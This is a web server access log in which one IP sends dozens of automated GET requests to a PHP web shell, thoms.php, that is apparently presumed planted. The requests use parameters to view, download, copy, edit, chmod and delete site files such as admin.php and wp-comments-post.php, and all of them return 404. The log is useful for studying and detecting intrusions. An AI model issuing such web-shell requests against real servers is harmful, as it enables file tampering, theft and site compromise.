45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /thoms.php?dl=index.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fsetting-checkpoint&view=license.txt HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fsetting-checkpoint&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /ba-guo.com.tw/setting-checkpoint/profile.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /ba-guo.com.tw/setting-checkpoint/license.txt HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /thoms.php?del=license.txt&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=license.txt&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /thoms.php?dl=profile.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fsetting-checkpoint&view=admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fsetting-checkpoint&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /ba-guo.com.tw/setting-checkpoint/index.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint%2Findex.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint%2Findex.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fsetting-checkpoint&view=profile.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fsetting-checkpoint&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint%2Fprofile.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint%2Fprofile.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /ba-guo.com.tw/setting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/ba-guo.com.tw/setting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /thoms.php?chmod=admin.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /ba-guo.com.tw/setting-checkpoint/admin.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:05 -0400] "GET /thoms.php?dl=admin.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:05 -0400] "GET /thoms.php?chmod=license.txt&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:05 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fsetting-checkpoint&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fsetting-checkpoint&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint%2Fadmin.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint%2Fadmin.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:05 -0400] "GET /thoms.php?del=profile.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=profile.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint%2Flicense.txt&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint%2Flicense.txt&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:05 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fsetting-checkpoint&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fsetting-checkpoint&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:05 -0400] "GET /thoms.php?del=admin.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:05 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fsetting-checkpoint&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fsetting-checkpoint&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:05 -0400] "GET /thoms.php?chmod=index.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:05 -0400] "GET /thoms.php?chmod=profile.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:05 -0400] "GET /thoms.php?dl=license.txt&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:05 -0400] "GET /thoms.php?del=index.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Findex.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Findex.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Findex.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Findex.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Findex.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Findex.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /ba-guo.com.tw/web-filter/license.txt HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /thoms.php?edit=wp-comments-post.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /thoms.php?edit=wp-comments-post.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter%2Flicense.txt&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter%2Flicense.txt&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /ba-guo.com.tw/web-filter/admin.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter%2Fprofile.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter%2Fprofile.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /ba-guo.com.tw/web-filter/profile.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /thoms.php?del=cjfuns.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=cjfuns.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fweb-filter&view=cjfuns.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fweb-filter&view=cjfuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:06 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fweb-filter&view=license.txt HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fweb-filter&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /thoms.php?dl=profile.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /thoms.php?chmod=admin.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /thoms.php?dl=admin.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /thoms.php?chmod=cjfuns.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=cjfuns.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /thoms.php?del=index.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fweb-filter&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fweb-filter&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /thoms.php?del=profile.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=profile.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /ba-guo.com.tw/web-filter/index.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /thoms.php?chmod=index.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /thoms.php?dl=index.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /thoms.php?del=admin.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /thoms.php?del=license.txt&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=license.txt&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /thoms.php?dl=license.txt&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fweb-filter&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fweb-filter&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter%2Fadmin.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter%2Fadmin.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter%2Findex.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter%2Findex.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:07 -0400] "GET /thoms.php?chmod=license.txt&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fweb-filter&view=profile.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fweb-filter&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /thoms.php?chmod=profile.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /ba-guo.com.tw/web-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/ba-guo.com.tw/web-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
